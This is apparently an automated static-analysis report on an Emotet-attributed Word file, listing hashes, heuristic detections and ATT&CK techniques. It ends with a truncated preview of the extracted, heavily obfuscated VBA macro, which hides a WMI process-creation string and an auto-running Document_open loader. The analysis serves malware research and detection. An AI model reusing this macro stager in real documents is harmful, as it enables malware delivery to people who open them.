Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 e9c58b3866560f15…

MALICIOUS

Office (OLE)

222.6 KB Created: 2020-08-26 20:09:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 87edd196a89fe3760eb06ce71ff82798 SHA-1: fcb376a5c31501f44607b2a9fa02f339ade42fe4 SHA-256: e9c58b3866560f15410e53256c9e39e14a28370e6183c512201a109bc8f0db3c
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains VBA macros, specifically a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet's typical infection chain. The VBA code is heavily obfuscated, but the presence of CreateObject and auto-execution mechanisms suggests it's designed to download and execute a secondary payload. ClamAV detection further supports the Emotet family attribution.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10690 bytes
SHA-256: 2c562dd4dfbc4ce73a9f149c8069c38e1e6a8ec2a8a79da8a5c0d93d92f583b1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "J8bs5m4ystv_eq3i0e"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
X9tv9lx4x9nu9g9_e.Vjrlutpelp6kxlqwo3
End Sub


Attribute VB_Name = "X9tv9lx4x9nu9g9_e"
Attribute VB_Base = "0{B780641C-D371-494D-8693-13F27B1BA775}{1D0ED5EE-9D85-48BC-B1AB-F8324A92D517}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Vjrlutpelp6kxlqwo3()
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = X9tv9lx4x9nu9g9_e.Xjpi47vru1qsqtqnx
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
Q8s32s58wfoifmdl = dw + 45 + ee + 55
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = X9tv9lx4x9nu9g9_e.Xjpi47vru1qsqtqnx
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
Xnekdbmod9whaga = ChrW(Q8s32s58wfoifmdl + (fqd + 10 + vvvv + 5))
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = X9tv9lx4x9nu9g9_e.Xjpi47vru1qsqtqnx
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
Xg5w_6jgaoesiqekk = "[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]aw[[[372vfr56 61fs[][324 24 2ds[]ai[[[372vfr56 61fs[][324 24 2ds[]anm[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]agm[[[372vfr56 61fs[][324 24 2ds[]at[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a" + Xnekdbmod9whaga + "[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a:[[[372vfr56 61fs[][324 24 2ds[]aw[[[372vfr56 61fs[][324 24 2ds[]ain[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a3[[[372vfr56 61fs[][324 24 2ds[]a2[[[372vfr56 61fs[][324 24 2ds[]a_[[[372vfr56 61fs[][324 24 2ds[]a" + X9tv9lx4x9nu9g9_e.Xjpi47vru1qsqtqnx + "[[[372vfr56 61fs[][324 24 2ds[]aro[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]ace[[[372vfr56 61fs[][324 24 2ds[]as[[[372vfr56 61fs[][324 24 2ds[]as[[[372vfr56 61fs[][324 24 2ds[]a"
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = X9tv9lx4x9nu9g9_e.Xjpi47vru1qsqtqnx
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
M2p3zo5t5c2vmt1p05 = Vrshej58mumr(Xg5w_6jgaoesiqekk)
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = X9tv9lx4x9nu9g9_e.Xjpi47vru1qsqtqnx
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
Set R4acez53gtiezj = CreateObject(M2p3zo5t5c2vmt1p05)
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = X9tv9lx4x9nu9g9_e.Xjpi47vru1qsqtqnx
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
T4axenqz5lob0hq = X9tv9lx4x9nu9g9_e.I6eim4ps_as9n.ControlTipText
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl -
... (truncated)